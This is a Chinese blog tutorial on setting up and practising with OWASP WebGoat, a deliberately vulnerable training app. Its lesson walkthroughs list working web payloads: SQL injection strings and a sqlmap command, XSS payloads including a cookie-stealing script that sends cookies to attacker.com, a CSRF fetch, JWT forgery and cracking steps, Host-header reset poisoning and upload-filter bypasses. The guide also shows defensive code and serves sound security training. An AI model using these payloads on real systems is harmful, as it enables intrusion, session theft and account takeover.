跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像AI 生图工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Javajava

WebGoat 安全靶场环境搭建与实战指南

WebGoat 是 OWASP 维护的开源 Web 应用安全教学平台。 Docker、Jar 包及源码等多种部署方式,详细讲解了 SQL 注入、XSS、身份认证等漏洞的实战演练步骤与防御方案。涵盖课程分类、工具集成(Burp/ZAP)及故障排查,适合初学者至专家进行安全攻防训练。

极客零度发布于 2026/4/5更新于 2026/7/2553 浏览

WebGoat 概述

WebGoat 是由 OWASP 维护的、故意设计不安全的 Web 应用程序,专门用于教学 Web 应用安全漏洞和防御技术。

环境搭建方法

方法 1:使用 Docker(推荐)
# 1. 安装 Docker(如未安装)
# Linux
sudo apt-get update
sudo apt-get install docker.io docker-compose

# 2. 拉取 WebGoat 镜像
docker pull webgoat/webgoat

# 3. 运行 WebGoat
# 方式一:直接运行
docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Asia/Shanghai webgoat/webgoat

# 方式二:使用 docker-compose(推荐)
cat > docker-compose.yml <<'EOF'
version: '3'
services:
  webgoat:
    image: webgoat/webgoat:latest
    container_name: webgoat
    ports:
      - "8080:8080"
      - "9090:9090"
    environment:
      - TZ=Asia/Shanghai
      - WEBGOAT_HOST=0.0.0.0
    restart: unless-stopped
EOF
docker-compose up -d

# 4. 验证安装
docker ps
curl http://localhost:8080/WebGoat
方法 2:本地 Jar 包运行
# 1. 下载最新版本
# 访问 https://github.com/WebGoat/WebGoat/releases
# 下载 webgoat-server-xx.x.x.jar 和 webwolf-xx.x.x.jar

# 2. 运行 WebGoat(需要 Java 11+)
java -jar webgoat-server-xx.x.x.jar --server.port=8080

# 3. 运行 WebWolf(独立工具)
java -jar webwolf-xx.x.x.jar --server.port=9090

# 或者使用官方启动脚本
git clone https://github.com/WebGoat/WebGoat.git
cd WebGoat
./mvnw clean package
java -jar webgoat-server/target/*.jar
方法 3:源代码编译运行
# 1. 克隆仓库
git clone https://github.com/WebGoat/WebGoat.git
cd WebGoat

# 2. 编译(需要 Maven 和 Java 11+)
./mvnw clean compile

# 3. 运行
./mvnw spring-boot:run -pl webgoat-server




# 4. 访问
# WebGoat: http://localhost:8080/WebGoat
# WebWolf: http://localhost:9090/WebWolf
方法 4:使用 Kali Linux 预装版本
# Kali Linux 通常预装了 WebGoat
# 启动 WebGoat
service webgoat start
# 或者手动启动
cd /usr/share/webgoat
java -jar webgoat-server-*.jar
# 访问:https://localhost:8080/WebGoat

访问和初始配置

# 默认访问地址
WebGoat: http://localhost:8080/WebGoat
WebWolf: http://localhost:9090/WebWolf

# 首次访问配置
1. 打开浏览器访问 http://localhost:8080/WebGoat
2. 创建新用户或使用默认:
   - 用户名:webgoat
   - 密码:webgoat
3. 选择语言(支持中文)
4. 开始课程

课程分类详解

WebGoat 课程分为多个类别,从易到难:

1. 通用漏洞系列
  • A1:注入漏洞 - SQL 注入(基础/进阶)、NoSQL 注入、命令注入、XXE 注入
  • A2:失效的身份认证 - 身份认证绕过、JWT 令牌安全、密码重置漏洞、安全提问绕过
  • A3:敏感数据泄露 - 不安全的加密、弱哈希算法、JWT 密钥泄露
  • A7:跨站脚本(XSS) - 反射型、存储型、DOM 型及防御方法
  • A8:不安全的反序列化 - Java 反序列化、远程代码执行
2. 高级漏洞系列
  • A4:外部实体(XXE) - XXE 读取文件、盲注及防御
  • A5:失效的访问控制 - 水平越权、垂直越权、IDOR 漏洞、JWT 篡改
  • A6:安全配置错误 - 目录遍历、敏感文件泄露、安全头部缺失
  • A9:使用含有已知漏洞的组件 - 依赖库漏洞、版本检测
3. 挑战系列
  • WebWolf 挑战 - 文件上传绕过、邮件钓鱼、重定向漏洞
  • CTF 风格挑战 - 综合漏洞利用、多步骤攻击链

实战演练:SQL 注入专题

练习 1:基础 SQL 注入
-- 1. 访问 SQL Injection (intro)
-- 课程位置:A1 → SQL Injection (intro)

-- 2. 基础注入练习
输入:' OR '1'='1
SELECT * FROM users WHERE name = '' OR '1'='1';

-- 3. 获取所有用户
输入:' OR 1=1 --
SELECT * FROM users WHERE name = '' OR 1=1 --';

-- 4. 联合查询注入
输入:' UNION SELECT 1,2 --
SELECT * FROM products WHERE name = '' UNION SELECT 1,2 --';

-- 5. 获取数据库信息
输入:' UNION SELECT version(),database() --
练习 2:盲注攻击
-- 1. 布尔盲注
判断数据库类型:' AND (SELECT substring(version(),1,1))='5' --

-- 2. 时间盲注
MySQL:使用 sleep() 函数:'AND IF(1=1,SLEEP(5),0)--

-- 3. 自动化工具使用
# 使用 sqlmap
sqlmap -u "http://localhost:8080/WebGoat/SqlInjection/attack5a" \
  --data="name=test" \
  --level=3 \
  --risk=2 \
  --dbs
练习 3:SQL 注入防御
// 查看防御代码示例
// 1. 使用预编译语句
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);

// 2. 使用存储过程
// 3. 输入验证和过滤
// 4. 最小权限原则

XSS 漏洞实战

反射型 XSS
// 1. 基础 payload
<script>alert('XSS')</script>

// 2. 绕过简单过滤
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onerror=alert('XSS')>

// 3. 窃取 Cookie
<script> document.location='http://attacker.com/steal?cookie='+document.cookie </script>
存储型 XSS
// 1. 在评论中注入
<iframe src="javascript:alert('XSS')">

// 2. 结合 CSRF
<script>fetch('/transfer?to=hacker&amount=1000',{method:'POST'})</script>
DOM 型 XSS
// 1. 利用 URL 片段
http://target.com/#<script>alert('XSS')</script>

// 2. 利用 innerHTML
document.getElementById('content').innerHTML = userInput;
// 防御:使用 textContent 代替

身份认证漏洞实战

JWT 令牌攻击
// 1. 解码 JWT
// 使用 jwt.io 在线解码

// 2. 无签名攻击(alg: none)
// 修改 JWT 头部为 { "alg": "none" }
// 删除签名部分

// 3. 密钥爆破
// 使用 hashcat
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

// 4. 密钥混淆攻击
// 使用 HS256 但验证时使用 RS256
密码重置漏洞
# 1. 修改 Host 头
POST /reset-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com

# 2. 密码重置令牌泄露
# 查看页面源码、JS 文件、网络请求

# 3. 时间窗口攻击
# 快速使用重置链接

文件上传漏洞实战

绕过文件类型检查
# 1. 修改 Content-Type
# 上传 PHP 文件,但 Content-Type: image/jpeg

# 2. 双扩展名
shell.php.jpg
shell.php%00.jpg

# 3. 大小写绕过
shell.PhP
shell.pHp5

# 4. 特殊字符
shell.php.
shell.php 空格
WebWolf 文件上传挑战
# 1. 访问 WebWolf
http://localhost:9090/WebWolf

# 2. 上传恶意文件

# 3. 使用重定向获取文件
<img src="http://localhost:9090/files/your-file">

# 4. 组合 XSS
<iframe src="http://localhost:9090/files/steal-cookie.js">

WebGoat 防御练习

输入验证防御
// 1. 白名单验证
if(!input.matches("^[a-zA-Z0-9]+$")){
    throw new ValidationException("非法输入");
}

// 2. 输出编码
String safeOutput = ESAPI.encoder().encodeForHTML(userInput);

// 3. 使用安全框架
// Spring Security 的 CSRF 保护
// OWASP ESAPI 库
安全配置
# application.yml 安全配置
security:
  headers:
    content-security-policy: "default-src 'self'"
    x-frame-options: DENY
    x-content-type-options: nosniff
  csrf:
    enabled: true

工具集成和自动化

Burp Suite 配置
# 1. 配置代理
Proxy → Options → Add
- Bind to port: 8081
- Bind to address: 127.0.0.1

# 2. 浏览器设置代理
# Firefox/Chrome: 127.0.0.1:8081

# 3. 拦截 WebGoat 请求
# 查看和修改请求/响应

# 4. 使用 Intruder 爆破
OWASP ZAP 集成
# 1. 启动 ZAP
zap.sh

# 2. 配置上下文
# 设置目标 URL: http://localhost:8080/WebGoat

# 3. 自动扫描
# 主动扫描和被动扫描

# 4. 生成报告

学习路径建议

阶段 1:基础(1-2 周)
  1. SQL Injection (intro) - 3 天
  2. Cross-Site Scripting (XSS) - 3 天
  3. Path Traversal - 2 天
  4. Authentication Flaws - 2 天
阶段 2:进阶(2-3 周)
  1. SQL Injection (advanced) - 4 天
  2. XXE Injection - 3 天
  3. JWT Tokens - 3 天
  4. Insecure Deserialization - 3 天
阶段 3:综合(1-2 周)
  1. WebWolf Challenges - 全部完成
  2. Secure Coding Lessons - 学习防御
  3. 创建自己的漏洞环境

最佳实践和学习技巧

学习方法
  1. 理论 + 实践结合 - 先理解漏洞原理,再动手实践,最后查看官方解法
  2. 记笔记和思维导图 - 记录每个漏洞的原理、攻击步骤、防御方法
  3. 使用多种工具 - 手动测试理解原理,使用工具提高效率,比较不同工具的效果
调试技巧
// 1. 查看后端代码
// WebGoat 是开源的,可以查看源代码理解逻辑

// 2. 使用开发者工具
# F12 打开开发者工具
# Network 标签查看请求
# Console 执行 JavaScript
# Sources 查看前端代码

# 3. 日志查看
docker logs webgoat
# 或者运行时查看
java -jar webgoat-server.jar --debug

故障排除

常见问题 1:无法启动
# 检查 Java 版本(需要 Java 11+)
java -version

# 检查端口占用
netstat -tlnp | grep 8080

# 或修改端口
java -jar webgoat-server.jar --server.port=8081

# Docker 容器问题
docker logs webgoat-container
docker-compose logs -f
常见问题 2:课程无法完成
  • 解决方法:仔细阅读题目描述,查看页面源代码,使用浏览器开发者工具,查看网络请求,参考官方文档,使用 WebGoat 的提示功能。
常见问题 3:性能问题
# 调整 JVM 参数
java -Xms512m -Xmx1024m -jar webgoat-server.jar

# Docker 资源限制
docker run -d -m 1g --cpus="1.0" webgoat/webgoat

进阶学习资源

扩展工具
  1. SQLMap - SQL 注入自动化
  2. XSStrike - XSS 检测
  3. JWT_Tool - JWT 攻击工具
  4. FFUF - Web 目录爆破
  5. Nuclei - 漏洞扫描
相关项目
  1. WebGoat.NET - .NET 版本
  2. DVWA - 另一个漏洞环境
  3. bWAPP - 包含更多漏洞类型
  4. Juice Shop - 现代 Web 应用靶场
认证和学习路径
  1. OWASP Top 10 - 掌握所有漏洞类型
  2. OSWE - 高级 Web 渗透认证
  3. Burp Suite Certified Practitioner - Burp 专业认证

挑战任务

任务 1:完成所有基础课程

目标:30 天内完成所有 A1-A10 基础课程,深入理解 OWASP Top 10。

任务 2:不查看源码完成挑战

目标:仅通过黑盒测试完成 WebWolf 挑战,提升实战测试能力。

任务 3:编写自己的漏洞场景

目标:基于 WebGoat 框架开发一个新漏洞练习,深入理解漏洞原理和代码实现。


重要提醒:

  1. WebGoat 仅在本地或授权环境中使用
  2. 学到的技术仅用于合法的安全测试
  3. 尊重他人隐私和系统安全
  4. 遵守网络安全法律法规

目录

  1. WebGoat 概述
  2. 环境搭建方法
  3. 方法 1:使用 Docker(推荐)
  4. 1. 安装 Docker(如未安装)
  5. Linux
  6. 2. 拉取 WebGoat 镜像
  7. 3. 运行 WebGoat
  8. 方式一:直接运行
  9. 方式二:使用 docker-compose(推荐)
  10. 4. 验证安装
  11. 方法 2:本地 Jar 包运行
  12. 1. 下载最新版本
  13. 访问 https://github.com/WebGoat/WebGoat/releases
  14. 下载 webgoat-server-xx.x.x.jar 和 webwolf-xx.x.x.jar
  15. 2. 运行 WebGoat(需要 Java 11+)
  16. 3. 运行 WebWolf(独立工具)
  17. 或者使用官方启动脚本
  18. 方法 3:源代码编译运行
  19. 1. 克隆仓库
  20. 2. 编译(需要 Maven 和 Java 11+)
  21. 3. 运行
  22. 4. 访问
  23. WebGoat: http://localhost:8080/WebGoat
  24. WebWolf: http://localhost:9090/WebWolf
  25. 方法 4:使用 Kali Linux 预装版本
  26. Kali Linux 通常预装了 WebGoat
  27. 启动 WebGoat
  28. 或者手动启动
  29. 访问:https://localhost:8080/WebGoat
  30. 访问和初始配置
  31. 默认访问地址
  32. 首次访问配置
  33. 课程分类详解
  34. 1. 通用漏洞系列
  35. 2. 高级漏洞系列
  36. 3. 挑战系列
  37. 实战演练:SQL 注入专题
  38. 练习 1:基础 SQL 注入
  39. 练习 2:盲注攻击
  40. 使用 sqlmap
  41. 练习 3:SQL 注入防御
  42. XSS 漏洞实战
  43. 反射型 XSS
  44. 存储型 XSS
  45. DOM 型 XSS
  46. 身份认证漏洞实战
  47. JWT 令牌攻击
  48. 密码重置漏洞
  49. 1. 修改 Host 头
  50. 2. 密码重置令牌泄露
  51. 查看页面源码、JS 文件、网络请求
  52. 3. 时间窗口攻击
  53. 快速使用重置链接
  54. 文件上传漏洞实战
  55. 绕过文件类型检查
  56. 1. 修改 Content-Type
  57. 上传 PHP 文件,但 Content-Type: image/jpeg
  58. 2. 双扩展名
  59. 3. 大小写绕过
  60. 4. 特殊字符
  61. WebWolf 文件上传挑战
  62. 1. 访问 WebWolf
  63. 2. 上传恶意文件
  64. 3. 使用重定向获取文件
  65. 4. 组合 XSS
  66. WebGoat 防御练习
  67. 输入验证防御
  68. 安全配置
  69. application.yml 安全配置
  70. 工具集成和自动化
  71. Burp Suite 配置
  72. 1. 配置代理
  73. 2. 浏览器设置代理
  74. Firefox/Chrome: 127.0.0.1:8081
  75. 3. 拦截 WebGoat 请求
  76. 查看和修改请求/响应
  77. 4. 使用 Intruder 爆破
  78. OWASP ZAP 集成
  79. 1. 启动 ZAP
  80. 2. 配置上下文
  81. 设置目标 URL: http://localhost:8080/WebGoat
  82. 3. 自动扫描
  83. 主动扫描和被动扫描
  84. 4. 生成报告
  85. 学习路径建议
  86. 阶段 1:基础(1-2 周)
  87. 阶段 2:进阶(2-3 周)
  88. 阶段 3:综合(1-2 周)
  89. 最佳实践和学习技巧
  90. 学习方法
  91. 调试技巧
  92. F12 打开开发者工具
  93. Network 标签查看请求
  94. Console 执行 JavaScript
  95. Sources 查看前端代码
  96. 3. 日志查看
  97. 或者运行时查看
  98. 故障排除
  99. 常见问题 1:无法启动
  100. 检查 Java 版本(需要 Java 11+)
  101. 检查端口占用
  102. 或修改端口
  103. Docker 容器问题
  104. 常见问题 2:课程无法完成
  105. 常见问题 3:性能问题
  106. 调整 JVM 参数
  107. Docker 资源限制
  108. 进阶学习资源
  109. 扩展工具
  110. 相关项目
  111. 认证和学习路径
  112. 挑战任务
  113. 任务 1:完成所有基础课程
  114. 任务 2:不查看源码完成挑战
  115. 任务 3:编写自己的漏洞场景
  • 免费图片AI生成工具免费生成了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 免费图片视频在线生成30秒,将你的创意变成现实开始设计
  • X/Twitter免费视频下载器免登陆无限额度免费视频解析下载了解详情
  • 100+免费在线小游戏爽一把
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • Mac mini M4 部署 OpenClaw + Ollama 本地大模型对接飞书机器人
  • Double DQN 算法原理与 Python 实战实现
  • 前端音频录制工具:AudioRecorder 类实现与使用指南
  • 法奥机器人操作与编程入门指南
  • Python Plotly 数据可视化:从基础到最佳实践
  • Flutter 组件 google_generative_language_api 适配鸿蒙 HarmonyOS 实战
  • 反射内存卡原理:PCIE-5565 底层架构与 FPGA 设计解析
  • C语言快速排序算法详解及多种变式实现
  • 数据结构实战:队列原理与 C 语言实现
  • 网络安全攻防:黑客攻击简要流程
  • SQL 核心概念:JOIN 和 UNION 的区别
  • Diffusion Transformer(DiT):用 ViT 替代 U-Net 用于视频生成与机器人动作预测
  • 扣子工作流详解:逻辑结构与常见节点
  • MCPHost 实战:命令行驱动大模型与外部工具交互
  • Python缠论分析指南:代码实现精准买卖点识别
  • FPGA 实现 CAN 总线接口与数据帧解析
  • HarmonyOS ArkUI 布局详解:相对布局与栅格布局
  • C++ 模板详解(进阶)
  • OpenClaw 安装与飞书机器人接入指南
  • Flutter huggingface_client 鸿蒙化适配指南

相关免费在线工具

  • Keycode 信息

    查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online

  • Escape 与 Native 编解码

    JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online

  • JavaScript / HTML 格式化

    使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online

  • JavaScript 压缩与混淆

    Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online